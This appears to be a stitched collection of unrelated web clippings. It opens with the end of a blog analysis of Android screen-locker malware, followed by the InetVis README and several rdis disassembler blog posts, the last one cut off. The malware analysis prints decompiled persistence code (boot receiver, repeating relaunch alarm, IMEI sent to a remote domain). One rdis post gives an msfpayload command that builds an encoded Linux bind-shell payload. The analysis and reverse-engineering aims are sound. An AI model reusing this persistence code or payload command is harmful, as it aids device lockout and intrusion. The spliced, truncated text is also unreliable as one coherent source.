| `public class com.android.6589y459gj4058rtgc.6589y459gj4058rtga extends
java.lang.Object implements com.android.6589y459gj4058rtga.6589y459gj4058rtgc
java.lang.Runnable`  
---|---  
The class defines his own method and it implements some more methods. It also
implements _Runnable_ so, after _init_ , I would check _run_ method because
it’s called when the thread is started.  
There’s a data exchange between the external domain and the mobile phone. The
malware provides to pass the IMEI \(and the buildID\) to the domain, and the
domain sends back something else which is base64 encoded. As far as I’ve seen
this is the only place from where crypto related functions are used. I will
reveal the details about this part in a future blog post. Just in case you can
mail me for some more details. However in the last part of the _run_ method,
after a series of calls to various methods, the web page containing the notice
about the locked device is loaded on the infected mobile phone \(via
sendMessage\(FIND\_VALID\_DOMAIN\)\).

Service via bindService  
I introduced the Service component inside LockActivity, exactly when a bind
operation was performed:

| `this.bindService(new android.content.Intent(this, 6589y459gj4058rtgm),
6589y459gj4058rtgs, BIND_AUTO_CREATE);`  
---|---  
Three parameters:  
service: the service to connect to, _com.android.LockService_  
conn: it’s a valid ServiceConnection object
\(_com.android.6589y459gj4058rtgt_\), and it declares two standard methods,
_onServiceConnected_ and _onServiceDisconnected_ used to receive start and
stop connection information  
flag: BIND\_AUTO\_CREATE stands for automatic creation of the service.

According to Android web page a service is defined as an application component
that can perform long running operations in the background and does not
provide a user interface. A bound service runs only as long as another
application component is bound to it.

<img src='img/Temp2_793.jpg' width='94' height='300' alt='Service_bind' />

Bounded service life-cycle \(developer.android.com\)

The image respect the fact that the service stays in background until
unbindService is called. The scheme is very important for me, because it
reveals the pah to follow for an almost complete analysis of the service. You
have to study, in order: onCreate, onBind and finally onUnbind and onDestroy.

_onCreate_ : this method is responsible of the creation of a system used to
catch specific actions and broadcast particular intents. It sounds confusing
right now, but everything will be clear in the next section.  
_OnBind_ : nothing really special, it returns an Ibinder reference.  
_OnUnbind/onDestroy_ : the client is not bound to the service anymore.

BroadcastReceiver  
Here is another entity of the Android world, it’s basically defined to receive
intents sent by sendBroadcast method. Intents broadcast are used to notify
Broadcast Receivers. Once the intents arrive the onReceive method will take
care of it. LockService’s onCreate defines a BroadcastReceiver in this way:

| `// Add intent filter for SCREEN_ON and SCREEN_OFF``IntentFilter
intentFilter = new
android.content.IntentFilter("android.intent.action.SCREEN_ON");``intentFilter.addAction("android.intent.action.SCREEN_OFF");
intentFilter.setPriority(0x3E7); // 999, high priority 6589y459gj4058rtga =
new
com.android.ScreenOnOffReceiver();``this.registerReceiver(6589y459gj4058rtga,
intentFilter);`  
---|---  
The receiver is registered with _registerReceiver_ method. It takes two
parameters, the BroadcastReceiver and the intents broadcast to be received.  
The receiver is defined inside _com.android.ScreenOnOffReceiver_ file and it
has the only necessary method, _onReceive_. It handles the broadcasted intents
checking for “android.intent.action.SCREEN\_ON” or
“android.intent.action.SCREEN\_OFF” action.  
As you can see from the snippet the intent filter is associated with a prority
number which is used to check, among all the applications, who can send
broadcasts.

| `// Set Lock alarm manager via intent broadcast``AlarmManager am =
this.getSystemService("alarm");// "alarm" stands for
ALARM_SERVICE``PendingIntent pLock =
android.app.PendingIntent.getBroadcast(this, 0, new
android.content.intent(this, "com.android.ScheduleLockReceiver"),
0);``Calendar cal = java.util.Calendar.getInstance();``cal.add(0x0D,
0);``am.setRepeating(RTC_WAKEUP, cal.getTimeInMillis(), 0x7D0, pLock); // 2
seconds`  
---|---  
Another interesting snippet in the same method, the purpose of this one is to
set an alarm every 2 seconds after the first time. The action to perform when
the alarm goes off is defined by a PendingIntent,
_com.android.ScheduleLockReceiver_ will handle the alarm.
ScheduleLockReceiver’s task is to start LockService and it will make tough the
use of your device…  
Another similar piece of code is then used to define a new alarm every 10
minutes, this time the receiver is inside _com.android.ScheduleUnLockReceiver_
but the essence doesn’t change.

There’s one more thing to say before proceed to the last section of this post.
There are two ways to declare a broadcast receiver, one is statically and the
other one is dynamically. I’ve shown you the dinamic version \(via
registerReceiver\), and now it’s the turn of the other one. The static version
requires few lines inside AndroidManifest.xml file:

| `<receiver android:name="com.android.BootstrapReceiver">``<intent-filter
android:priority="999">``<action
android:name="android.intent.action.BOOT_COMPLETED" />``</intent-
filter>``</receiver>`  
---|---  
onReceive is inside com.android.BootstrapReceiver and the intent is received
after the system has complete the booting operations.

| `public void onReceive(android.content.Context p1, android.content.Intent
p2) {``// Start LockActivity activity``Intent intent = new
android.content.Intent(p1,
"com.android.LockActivity");``intent.setAction("android.intent.action.VIEW");``intent.addFlags(FLAG_ACTIVITY_NEW_TASK)``p1.startActivity(intent);``return;``}`  
---|---  
To be sure the malware will run after a boot the receiver will start the core
of the entire malware, LockActivity.  
Once again, AndroidManifest.xml represents the first thing to take care of
when you are studying an Android based malware.

Service via startService  
Service once again? Yes, there’s something more to say about it.  
Did you happen to take a look at the code of the receivers? Three of the four
receivers have an almost identical code:

| `// Run service LockService using startService``Intent intent = new
android.content.Intent(p1,
class("com.android.LockService"));``intent.putExtra("start.event.type",
0x01);``p1.startService(intent);`  
---|---  
Is it possible to start a service in two distinct ways? Yes it is. There is a
big difference with a bound service because now the service runs in the
background indefinitely, no matter wether the component that started the
service it’s destroyed.  
The second line of the snippet contains a call to putExtra method, it’s a way
to pass extended data to a service. Take a close look at ScreenOnOffReceiver,
ScheduleLockReceiver and SheduleUnlockReceiver, you’ll notice that they all
run the service using the same piece of code with just a little exception: the
value passed via putExtra is 1, 2 or 3.

<img src='img/Temp2_791.jpg' width='87' height='300' alt='Service_start' />

Unbounded service life-cycle \(developer.android.com\)

The image tells you exactly what to study. The only parts in common with a
bounded service are intialization and finalization. I already know what’s
inside onCreate/onDestroy so I’ve to get an eye inside onStartCommand.
LockService class doesn’t have onStartCommand but onStart \(which is
deprecated since API level 5\). The only interesting instruction inside the
method is represented by the next one:

| `6589y459gj4058rtga(p1, p1.getIntExtra(6589y459gj4058rtgm, 0x00));`  
---|---  
It calls _6589y459gj4058rtga_ with two parameters: the intent and the value of
“start.event.type”. The int value is next used to understand who really runs
the service and to perform specific operations:

| `private final void 6589y459gj4058rtga(android.content.Intent p1, int p2)
{``switch(p2) { // Check the parameter``case 0x00: goto _default;``case 0x01:
goto _case_1;``case 0x02: goto _case_2;``case 0x03: goto _case_3;`  
---|---  
Final notes  
It’s definitely a not-complete tutorial, I just tried to give you the most
important informations explaining how to deal with components and other
Android entities. Consider it as a story on how I studied the malware. Feel
free to mail me for comments/criticism/whatever you want.  
Thanks to @Gunther\_AR for some precious suggestions\!

About these ads

# yestinj/inetvis

**Created:**| _11/24/2018 11:46:36 AM_  
---|---  
**Updated:**| _11/24/2018 11:46:36 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Internet Visualizer

Source repository for the Internet Visualizer tool.

This project is based on the work by JP van Riel and Barry Irwin of Rhodes
University. Their original work can be found here:
www.cs.ru.ac.za/research/g02v2468/inetvis.html

The task of modernising and updating InetVis was the focus of my MSc research
which is now complete. The official copy of my thesis on the subject can be
found at http://hdl.handle.net/10962/69223

# Notes

InetVis was originally written in Qt 3 and compiled to 32-bit code. It has
since been ported to Qt 5 and has been updated to compile a 64-bit binary.

The instructions below have all been tested on the current version of Ubuntu,
17.04 64-bit.

# Installing and Running InetVis

A compiled version of InetVis is available under the releases section of
https://github.com/yestinj/inetvis.

In order to install and run InetVis do the following:

  1. Download the latest release archive from the releases page
  2. Extract the archive, i.e. `inetvis-2.1.1.tgz`
  3. Change into the extracted directory
  4. Run `install_inetvis.sh`
    1. This script will: install the software to `/opt/inetvis-<version>`
    2. Create a symlink directory `/opt/inetvis`
    3. Copy the relevant files to the new directory under `/opt`.
    4. Place an icon file in `/usr/share/icons/hicolor/48x48/apps/`
    5. Place a `desktop` file in `/usr/share/applications`, allowing InetVis to be found in the menu on Ubuntu systems
    6. Create a symlink at `/usr/local/bin/inetvis` pointing to the main binary.
    7. Set the `cap_net_raw`, and `cap_net_admin=eip` capabilities on the binary allowing for monitoring localhost without running as root. $sudo setcap 'CAP\_NET\_RAW+eip CAP\_NET\_ADMIN+eip' This needs to generally not be /home which on Debian/ubuntu systems is mounted nosuid
  5. If the script completes successfully inetvis should now be in your path and the menu system of your distribution.

You should now be able to run the `inetvis` binary from the command line.
Running from the command line allows you to view console messages produced
while the application is running.

# Uninstalling InetVis

A convenience script is included in the release archive, namely
`uninstall_inetvis.sh`, which can be used to completely remove InetVis from
your system.

# Building InetVis

In order to build InetVis yourself take note of the following guidelines:

  1. Update your system: 
     * `sudo apt-get update`, `sudo apt-get upgrade`, and `sudo apt-get dist-upgrade`
  2. Install the following dependencies: 
     * `sudo apt-get install libpcap-dev qt5-default`

It has been noted that the following dependencies were also required on Linux
Mint based systems:

`sudo apt-get install libqglviewer-dev libqglviewer2`

Once the dependencies are installed, clone this repository:

  1. Clone the GitHub repo into the `inetvis` directory: 
     * git clone git@github.com:yestinj/inetvis.git
  2. Change into the `inetvis/src` directory

Build the `inetvis` binary:

  1. `qmake`
  2. `make`

This will result in a new `inetvis` binary being generated within the src
directory.

You may now run `inetvis` simply by running the generated binary. You will
need to either run using sudo, or set packet capture capabilities \(see
instructions above\) on the file in the event that you would like to monitor
your local network interfaces.

Have fun\! :-\)

# Development

Development is currently done using Qt Creator.

Qt Creator allows for simple editing of source code, as well as graphical form
editing, and can be installed in Debian flavours of Linux by installing the
`qtcreator` package.

# Versioning

This software uses Semantic Versioning 2.0.0 \(http://semver.org/\) as of
release v2.0.0.

  

# Debugging With Rdis

**Created:**| _2/18/2013 2:41:25 PM_  
---|---  
**Updated:**| _2/18/2013 2:41:25 PM_  
**Author:**| __  
**Tags:**| _Debugging Graphs_  
  

# **D** ebugging With Rdis****

##  The Informal Introduction****

I just finished writing \(in asm\) a small x86-64 linux challenge for a CTF
taking place tomorrow**.** Because I am slightly less than talented, my
challenge wasn't functional on the first go**.** It required debugging. I just
finished adding debugging support for rdis  via GDB Remote Serial Protocol
\(that means remote gdb debugging\), so I figured I'd give it a spin and see
how it worked**.**  
  
_This post will get you set up with debugging in rdis**.** I'm also sharing
how I used rdis to debug this simple program**.**_

##  Getting Set Up****

First, you need rdis**.** If you have Arch Linux, it's in the aur\! The
package name is rdis. If not, it's available on github **.**  
  
Next, you'll need a copy of my lua scripts for rdis**.** They can be found
here: github.com/endeav0r/rdis-lua  **.** There is a package in the aur, but
as of this posting the aur package is slightly out of date**.**  
  
You'll need two lua packages**.** The first is lua51-socket, available in the
arch package repos**.** The second is lgi, available here:
https://github.com/pavouk/lgi **.** There is a package for lgi in the arch
package repos, but it's for lua 5**.** 2**.** You need to make and install
from the github repo for lua 5**.** 1**.**  
  
Finally, you'll want to set up your ~/.rdis.lua to load my lua scripts when
rdis starts up**.**  
  
We'll start with an ~/.rdis.lua like this:  
  
local PATH\_TO\_RDIS\_LUA = '/path/to/rdis/rdis-lua'  
  
package.path = package.path .. ';' .. PATH\_TO\_RDIS\_LUA .. '/**?**.lua'  
dofile\(PATH\_TO\_RDIS\_LUA .. '/rdis.lua'\)

##  Launch gdbserver****

gdbserver 127**.** 0**.** 0.1:9090 ./prog

##  Connecting to gdbserver****

If you've configured rdis as mentioned above my lua scripts will load
automatically**.** You can now call my debugging scripts to connect to the the
gdb server, grab the executable, load it into rdis, and spawn a simple
debugging interface for us to use**.**  
  
We do all this with the function: gdb\_gui\(host, port, architecture\)  
  
Currently the only supported architecture is x86-64, which rdis-lua refers to
as amd64**.** For our specific gdbserver instance, we will have:  
  
gdb\_gui\('127**.** 0.0**.** 1', 9090, 'amd64'\)  
  
You can paste this directly into your main rdis window, wait for lua to grab
the state of the program, and the binary should load properly into rdis**.**

<img src='img/Temp2_2037.png' />

Here's what the debug window looks like once it pops up:

<img src='img/Temp2_2035.png' />

It's pretty ugly, but it's also pretty functional**.**

##  Adding a Breakpoint****

Pretty self-explanatory**.** Click "Add Breakpoint", and then type in the
breakpoint address**.** Hit continue to continue to the breakpoint.

<img src='img/Temp2_2036.png' width='320' height='190' />

##  Updating Memory****

Grabbing the process's memory can be a slow process**.** Instead of performing
this action automatically, I have decided to allow the user to decide when to
update rdis' representation of the program's memory**.** Clicking update
memory will grab the state of the program's mapped memory ranges, all of them,
and transfer them to rdis**.**

##  Automating the Process****

Navigating around the lua debugging interface is ok, we can get things
accomplished, but there has to be a better way to get the necessary state
information from the debugger into rdis**.**

And, well, there is. This is all lua, so we can script it all out.

In my .rdis.lua, I start with our gdb\_gui\(\) command to connect to the
debugger**.** This line is followed by several other lua calls to rdis to
label functions as I discover what they do:

gdb\_gui\('127**.** 0**.** 0.1', 9090, 'amd64'\)

rdis.set\_function\_label\(uint64\("0x4000a7"\), "one"\)

rdis.set\_function\_label\(uint64\("0x4000d0"\), "two"\)

rdis.set\_function\_label\(uint64\("0x400123"\), "seven"\)

Pretty soon I discover a good address to break at after I load my
shellcode**.** I start calling functions used by the lua debugging code
directly**.**

\-- Add a breakpoint directly to the GUI's gdb instance**.**

GDB\_GUI.gdb:add\_breakpoint\(uint64\("0x4000bf"\)\)

\-- This refreshes the GUI's listing of breakpoints

gdb\_gui\_set\_breakpoints\(\)

\-- This is the same function called when "Continue" is pressed

gdb\_gui\_continue\(\)

\-- Some helpful output

rdis.console\("breakpoint reached"\)

\-- Grabs the entire process's memory from the remote gdb server instance

\-- and updates rdis's internal memory representation of the program**.**

gdb\_gui\_update\_memory\(\)

\-- Creates a user function at 0x400181, where our shellcode is stored

rdis.user\_function\(uint64\("0x400181"\)\)

Now as I modify both my challenge, and my PoC for it, I simply kill the
gdbserver instance, restart it, and restart rdis**.** Each time, rdis
progresses the program to the exact point I'm interested in**.**

<img src='img/Temp2_2038.png' />

When I'm not debugging a specific program, I leave the gdb\_gui\(\) line in my
.rdis.lua **.** If lua can't connect to a gdb server, no harm no foul**.**
However, now when I want to debug an application I just have to fire up
gdbserver**.** It saves those extra 10 seconds of remembering how to connect
to the gdb server**.**

##  So... Improvements Are Needed****

While debugging this program I added new functionality to rdis, fixed bugs in
both rdis and the lua scripts, and found one bug I have yet to fix**.** Some
of the features outlined in this post, such as rdis.user\_function\(uint64\),
are new to rdis as of two hours ago**.** Depending on your requirements, rdis
may not be ready for your debugging needs**.**

Restarting rdis each time we wish to restart the debugger is not the preferred
method of doing things**.** It works for me, but it may not work for you. Some
improvement is needed**.**

It would be great to allow right-clicking of an instruction to add a
breakpoint**.** However, rdis doesn't have any infrastructure in place
allowing lua to dynamically register callbacks back to..**.** well... lua.

##  What's Next for Rdis****

Consider gdb remote debugging a proof of rdis as a debugging tool**.** After
writing a client for the gdb remote serial protocol, it's clear GDB RSP leaves
something to be desired**.** I started with gdb remote debugging based on
feedback, but the preferred method of debugging will involve a separate
protocol and server**.** @TDKPS  is working on the windows server component
for remote debugging, so expect that as well**.**

ARM support is coming, slowly. I have begun hacking away on an ARM
disassembler, and once I get around to finishing it I will bring ARM support
into rdis**.** I don't do much ARM debugging, but it seems like a natural next
step for additional architecture support**.**

If you have looked at the rdis source, you noticed there's code in there for
an x86 -> Intermediate Language translator**.** This code has not been touched
in a while, and that portion of rdis, while important, is on indefinite
hold**.** The IL may change, and until then no work will be done on that
code**.**

Finally, if you've used rdis, let me know**\!**

Posted 12th January by rednovae

Labels: rdis

0

###  Add a comment****

  1. I wrote previously about how control flow graphs should show the evolution of a program over time**.** I've since begun hacking out an x86 emulator and including it in rdis in order to illustrate the point**.**  
  
The following graph may be a bit buggy \(I literally just wrote the code\),
but I believe it does a decent job of illustrating what I believe CFGs should
look like**.** Compare a naive disassembly of a shikata\_ga\_nai encoded linux
x86 bind\_shell, and the following \(perhaps incomplete\) emulated disassembly
of the same program:

<img src='img/Temp2_2039.png' />

Posted 7 hours ago by rednovae

0

###  Add a comment****

  2. If you didn't know, I've spent some time recently writing a disassembler  and thinking about disassembly **.** I'm going to outline some of my thoughts on where I think disassembly needs to go**.** There are gaps in this post. Consider it food for thought**.**  
  
We currently have two methods for disassembling programs. We have linear/sweep
disassembly, where bytes are disassembled immediately following one
another**.** We also have recursive disassembly, where we look at each
instruction to determine its successors**.** The problem with both of these
methods is we're not treating instructions like data**.**  
  
We need to treat disassembly as a state-ful experience**.** We are analyzing a
living, breathing program, not a static, ordered series of numbers**.** We
need to treat disassembly as a product of data-flow analysis**.** By adding
additional intelligence to our disassembly process, and changing our
expectations of what a disassembly tool should give us, we will get more
meaningful data, I mean code, well, same thing**.**  
  
We need to emulate \(perhaps symbolically\) our program's behavior during
runtime**.** During this analysis, instead of saving the values possible at
various portions of our program's execution we should be saving the statements
to be executed**.** This is the data which belongs in our control-flow
graphs**.**  
  
Take a look at a shikata\_ga\_nai encoded x86 linux bind\_tcp payload from
metasploit  
  
**.** /msfpayload linux/x86/shell/bind\_tcp R | \  
**.** /msfencode -e x86/shikata\_ga\_nai -t elf > /tmp/payload  
  
When I graph this executable in rdis, I get the following:

Wow, this isn't even remotely correct**.** These are not the instructions that
will be interpreted by our CPU**.** This is not the program contained in my
/tmp/payload executable**.** These are just the bytes that were present at the
time we conducted recursive disassembly**.** Programs are composed of data.
They are state-ful**.** This graph isn't very helpful.  
  
It's state-less**.**  
  
We should think of our CFGs as a journey through the execution of our
program**.** At each stop in our journey we extract one specific piece of
information, the statement to be executed, and we save it in a graph**.**  
  
_Caveat: There's an obvious problem with this approach**.** If we attempt to
perfectly disassemble our programs in this manner we may encounter \(possibly
maliciously induced\) explosive growth in our CFG, making this problem
infeasible for machines with finite memory**.** In all practicality, we may
consider this approach impossible to implement perfectly**.** We will need to
apply heuristics and accept imperfect results**.**_  
  
I propose we begin disassembling our programs in environments which allow us
to treat our code as data**.** We should emulate our programs in limited
environments and, as we continue through our program's execution, extract the
instructions to be executed**.** This is what we should be viewing in our
CFGs.  
  
How should we display these CFGs**?** What happens when the data composing our
code does change**?** Should we go back in time and edit our CFG, or disregard
the old data**?** I have some thoughts.  
  
An instruction should contain two pieces of information: data and
location**.** When added to our CFG, our CFG should track, "time," or
state**.**  
  
Let's start with a simple program, a loop with a conditional branch contained
within**.**  
  
  
During our analysis of this program, we discover that the code in \[D\] is
polymorphic**.** At some point in our execution, an instruction in \[D\]
changes**.** We will now show our CFG with stateful information**.**

Here we have \[D\] -> \[F\], which represents \[D\] in one state, \{0\}**.**
We also have \[G\], which represents the altered state of \[D\]**.** These
nodes are stateful. Let's say \[G\]'s successor is \[A\]. How would I display
this CFG**?**

Because the location and data of \[A\] has not changed, \[G\]'s successor
\[A\] remains the original \[A\]**.** \[A\] now includes the data that exists
in both state \{0\} of our program, as well as state \{1\}**.**  
  
As we continue to analyze this function, we discover that the only reachable
portions of our CFG in \{1\} are \[A\] -> \[B\], \[B\] -> \[D\], \[D\] ->
\[G\] and \[G\] -> \[A\]**.**

This is the information I want to see when analyzing a program**.** I want my
program interpreted as data, and the state of the program displayed in a
visual manner**.**

I'll conclude this post for now, with more to follow at a later date**.**

Posted 4 days ago by rednovae

0

###  Add a comment****

  3. I'm going to publicly announce what I have believed since I was first taught The Halting Problem: It's frigging stupid**.**  
  
Here's what the halting problem states: It is impossible to write a program
for a machine, which, given any one of an _infinite_ number of programs, will
determine whether the input program will cause the machine to reach a pre-
designated state**.**  
  
Here's what the halting problem does not state: It is impossible to write a
program for a machine, which, given any of a _finite_ number of programs, will
determine whether the input program will cause the machine to reach a pre-
designated state**.**  
  
Why does this matter**?** Because every machine in physical existence has a
_finite_ number of possible programs. When someone tells me, "You can't do X
because of the halting problem," I cringe, deep down inside**.** A tiny piece
my very being's fabric dies a slow and painful death**.**  
  
Allow me to strip away the goop and unnecessary crap from the halting problem
and rephrase it as the following:  
  
_" It is impossible to compute for infinite data, duh**.** "_  
The duh is important**.** If I ask you to sum together an infinite set of
data, can you do it**?** No**.** See how easy that was to understand?
Undergraduates can learn and grasp that concept in a matter of minutes, nay,
seconds even**\!** They can then move on towards more useful concepts, such as
Data-Flow Analysis**.**  
  
Allow me to supplement the above with the following helpful information:  
  
_" It is theoretically possible to compute for the data contained in your
Desktop, but the complexity requirements explode exponentially**.** Use
heuristics and understand you're receiving incomplete results**.** "_  
This is the relevant statement to program analysis as we perform it today**.**
It's a search over a finite number of states.

Posted 3 weeks ago by rednovae

6

###  View comments****

  4. ##  Forward****
Not surprisingly, I spend a lot of time writing code**.** Perhaps
surprisingly, I spend at least an equal amount of time thinking about the code
I write**.** Sometimes, while thinking about code, I have moments of
realization and enlightenment**.** Things click. Occasionally, during these
moments of enlightenment, I start writing them down in a blog post**.** I
rarely make my way through the blog post to completion**.** Once in a blue
moon, I hit submit. The post Thoughts on Instructions  was one of these blue
moon moments**.**  
  
I am lucky to have a single individual who occasionally ventures to my blog
and reads my post**.** After reading Thoughts on Instructions, he politely
told me, "What the hell are you talking about dude**?** You're making little
sense." I'm paraphrasing here, but the point stands.  
  
This is an attempt to rephrase parts of Thoughts on Instructions**.**  
  
Please do not confuse the words "incorrect" with "not useful"**.** A technique
can be useful and bring a wealth of value, yet still be incorrect**.**

##  Code is Data****

To simplify our understanding of systems which operate over instructions, we
logically categorize values into two groups, code and data**.** However "code"
is just an artificial label we apply to a subset of these values**.** In the
end, code is just values interpreted by a machine, and at the level these
values are interpreted at they should be recognized as data**.**  
  
In other words, code is data which can be interpreted by a machine**.** This
is something we should all be familiar with.  
  
I am reminded of a statement I heard from Sergey Bratus at this previous
defcon during the Programming Weird Machines with ELF Metadata talk**.** I
will have to paraphrase, but Sergey stated that ROP chains should be thought
of as instructions utilizing the gadgets as a VM**.** He is right on. When we
think about our rop chains at this level of abstraction, those return
addresses become instructions for our machine, and we can label the chain
itself as code**.**  
  
To re-reiterate "code" is just a label we apply to data to simplify our
understanding of how this data will be used**.**

##  There is no code. It's data all the way down****

Let's start drawing some conclusions**.**  
  
Control-Flow Analysis can be thought of as Data-Flow Analysis for the machine
which interprets the "code"**.** We are determining the different values that
may be present in the machine which interprets our "code"**.** For example,
when we encounter a conditional jump, our machine's value which holds the next
instruction \(think a CPUs internal store of the memory fetched from what the
instruction pointer points to\) can hold a range of values, values that we may
label as code**.**  
  
If this example is a bit too far-fetched for you, consider performing data-
flow analysis on a bytecode VM**.** What's the data? It's your "code".  
  
Because code is merely a label attached to data interpreted by some sort of
machine, the only requirements for programming are:

    1. A machine that accepts data and updates some sort of state**.**
    2. A method of providing the machine with data**.**
This is why the Defcon talk, Programming Weird Machines with ELF Metadata, was
interesting**.** We have taken a machine, the linux loading process, supplied
it with specially crafted data, and we have created a program**.**

The concept should not be new to security researchers**.**

**Method**| **Data**| **Machine**  
---|---|---  
ROP| Crafted stack frames| Gadgets  
SQLI| Unsanitized User Input| SQL Engine  
Classic "Buffer Overflow"| Oversized user input| Native CPU  
XSS| Attacker-crafted dhtml/script| Web Browser  
It's no surprise that the majority of defenses/mitigations deal with either
attempting to separate data from code \(parameterized queries\), or
restricting data from being executed by a machine \(W/X memory
protections\)**.** It's also no surprise that attackers continue to find new
machines \(have you HEARD of css injects**\!****?**\), ways to have their data
interpreted regardless \(these XSS cheatsheets are getting ridiculous\), or a
combination of the two \(ROP chain to mprotect\)**.**

##  Control-Flow Analysis is useful****

As reverse-engineers, we need to make sense of data**.** A large part of this
process is the labeling of data as code**.** In binary analysis, we call this
process "disassembling**.** " Linear, or sweep, disassembly is the process of
labeling contiguous blocks of data as code**.** Recursive disassembly is the
process of analyzing disassembled data to discover more data to
disassemble**.** Recursive disassembly is control-flow analysis.  
  
While not correct, the assumption that code will not change greatly simplifies
its analysis and aids in our ability to understand it**.** Therefor, I'm going
to make the statement that Control-Flow Analysis is "stateless"**.** The
analysis is conducted irrespective of state. This may seem a bit off, as code
is data and does have state, but if we are going to visualize code we need to
make some assumptions**.**  
  
Data-Flow Analysis is "state-ful" in that it cannot be done irregardless of
state**.** In fact it's the study of how state changes over time**.**

##  Final thoughts****

     * Control-Flow Analysis should be conducted at least each time the state involved in its original analysis changes**.**
     * Reflecting the results of Data-Flow Analysis back into Control-Flow Analysis is incorrect, as it requires using information from the "future" to make decisions about the "present"**.** It's an unhealthy mixing of stateless and state-ful information**.**
     * We should be searching for new machines that can accept data and update state**.**
I'll buy a beer for the first person who writes a compiler to network packets,
using a remote machine's TCP/IP stack as a machine to run a program**.**

Posted 3 weeks ago by rednovae

0

###  Add a comment****

  5. As the interested few wishing to hack on rdis begin to trickle in, I believe a basic orientation to the source is due**.** This walkthrough is not comprehensive, but should be enough to get you on the right track**.**  
  
I will continue to update this post as more questions about rdis internals
arise**.**  
  
**Last Update: 20 JAN 2013**

###  Contributing to rdis****

The rdis source can be found here: https://github.com/endeav0r/rdis  
  
I ask that you please fork the repo on github and submit a pull request**.**
Don't email me patches unless they are trivially minor**.** Pull requests are
always preferred.  
  
Development discussion for \#rdis takes place in irc.freenode.net\#rdis **.**
If you plan on contributing, please join us in \#rdis and let me know**.**  
  
I don't have an issue with large pull requests, but it will be helpful if you
let me know what's coming and what's being changed**.**

###  The Object/Container Model****

Almost everything in rdis is an object**.** We define an object as a struct
which begins to a pointer to a vtable of type struct \_object**.** The use of
rdis's object model may seem cumbersome and/or annoying at first, but once you
get used to it you will find \(hopefully\) you're writing safer code
faster**.** Here's struct \_object:  
  
struct \_object \{  
void \(\* delete\) \(void \*\);  
void \* \(\* copy\) \(void \*\);  
int \(\* cmp\) \(void \*, void \*\);  
void \(\* merge\) \(void \*, void \*\);  
json\_t \* \(\* serialize\) \(void \*\);  
\};  
  
For example, let's take a look at the \_queue struct:

struct \_queue \{

const struct \_object \* object;

size\_t size;

struct \_queue\_it \* front;

struct \_queue\_it \* back;

The vtable for queue looks as follows:  
  
static const struct \_object queue\_object = \{  
\(void \(\*\) \(void \*\)\) queue\_delete,  
\(void \* \(\*\) \(void \*\)\) queue\_copy,  
NULL,  
NULL,  
NULL  
\};  
  
Every object should include, at a minimum, both delete and copy**.** This is
because objects copy objects. They do this by calling object\_copy, which can
be found in object**.** h  
  
\#define object\_copy\(XYX\) \  
\(\(struct \_object\_header \*\) XYX\)->object->copy\(XYX\)  
  
The general-purpose containers available in rdis are:

     * \_graph - A directed graph \(delete/copy/cmp/merge/serialize\) ; merge only required of graph\_merge\(\) is called
     * \_list - A doubly-linked list \(delete/copy/serialize\)
     * \_map - A mapping of uint64\_t to objects \(delete/copy/serialize\)
     * \_queue - A simple queue \(delete/copy\)
     * \_tree - A self-balancing tree \(delete/copy/serialize\)
list, graph, map and tree all have iterators**.** Lists can be modified with
their iterators by calling list\_remove\(\)**.** Graphs, maps and tree can NOT
be modified during iteration**.** Add the objects you want to delete to a
queue and delete them post iteration**.** The \_index object is also good for
this purpose.  
  
The objects used internally by containers are to be modified only by their
respective container calls**.** I will not accept code that does otherwise. I
have attempted to break this rule several times myself, specifically with
graph edges**.** It has always ended in disaster.  
  
As stated above, if you pass an object to another object, and the object needs
to keep that data, it will call object\_copy\(\)**.** If you fetch data from
an object, it returns a pointer to that object, NOT a copy**.**  
  
The other objects available are:

     * \_buffer - A simple, dumb buffer of memory**.**
     * \_function - Self-explanatory.
     * \_index - Wraps uint64\_t in an object so it can be used in containers**.**
     * \_instruction - Self-explanatory.
     * \_label - Contains an address, string and label type \(IE: LABEL\_FUNCTION\)
     * \_rdstring - An object containing a string**.** Use of char \* strings is preferred.
     * \_reference - Information about a data reference from an instruction**.**
There are a few special combination of data structures used in rdis:

     * Loader Graph - A graph of lists of instructions**.**
     * Function Map - A map of addresses to functions**.**
     * Label Map - A map of addresses to labels**.**
     * Memory Map - A map of buffers.
Code that works on these special combinations of data structures does NOT
belong in the respective container classes**.** The code can be stored either
where needed, or in util**.** c**.**

###  The loading process****

Loaders are a special type of object with additional methods**.** The loader
object vtable layout can be found in loader/loader**.** h . The steps to load
a file are as follows:

    1. Call loader\_create\(const char \* filename\)
    2. loader\_create\(\) will call the create method of implemented loaders**.** Loaders return a pointer to a valid loader object if they match the executable, or NULL otherwise**.**
    3. Supposing a valid loader was returned by loader\_create\(\), we call loader\_memory\_map\(\) to grab the memory map from the loader**.**
    4. Using this memory map, we call loader\_functions\(\) to receive the function map**.**
    5. We pass the memory map and function map back to the loader in loader\_graph\_functions\(\), which recursively disassembles each function**.**
    6. Finally, we pass the memory map and functions to loader\_labels\_functions\(\) to label our functions, and retrieve any other labels in the binary**.**
The loaders are designed to disassemble based of state, not the data in the
executable file**.** This is why we continue to pass the memory map back to
loader functions**.** This is important when we write disassembler lua scripts
for rdis, as state changes while the executable file remains the same**.**

###  Rdis callbacks****

The state of rdis as a whole is contained in the \_rdis\_t object**.**
Different objects can register callbacks to the rdis\_t object, and they are
called when different actions in rdis take place**.** This is how we update
the rdis gui. Generally-speaking, callbacks should not trigger actions that
further modify rdis state**.**

Each callback is identified by a unique uint64\_t identifier**.** The object
that creates the callback should keep this identifier so that it may remove
itself from the callbacks when deleted**.**

###  Lua Scripting****

There are a few things to remember when writing code that allows lua scripts
to interface with rdis objects**.**

     * Lua objects are always copies of rdis\_t objects**.** They never contain pointers to objects stored externally to their independent lua instance**.**
     * The lua VM is recreated everytime rdis loads a new executable is loaded from outside of lua**.** When a lua script loads an executable, the lua state is not recreated**.**
###  Rdis GUI****

The \_gui struct keeps track of everything happening in the rdis gui**.**
Because the gui is not an rdis object, I'm going to refer to it simply as,
"The gui**.** " All windows should be launched by calling their respective
function over the gui, for example gui\_funcwindow\(\)**.**

Rdg stands for Rdis Display Graph, and is an object which turns loader graphs
into cairo surfaces**.** You don't work with rdg directly, just launch rdg
windows with gui\_rdgwindow\(\)

Posted 4 weeks ago by rednovae

0

###  Add a comment****

  6. _I have gone through and made corrections to this article**.** They are italicized and colored blue._  
  
The following are my thoughts while contemplating the construction of an
Intermediate Representation for rdis**.** They thoughts difficult to order,
but I will put forth a best-effort**.**  
  
Rdis is a tool for analyzing a program given a specific state**.** It is most
helpful in the graphing and display of disassembled instructions**.** However,
when we disassemble these instructions, we are making some assumptions, as
instructions are also stateful**.**  
  
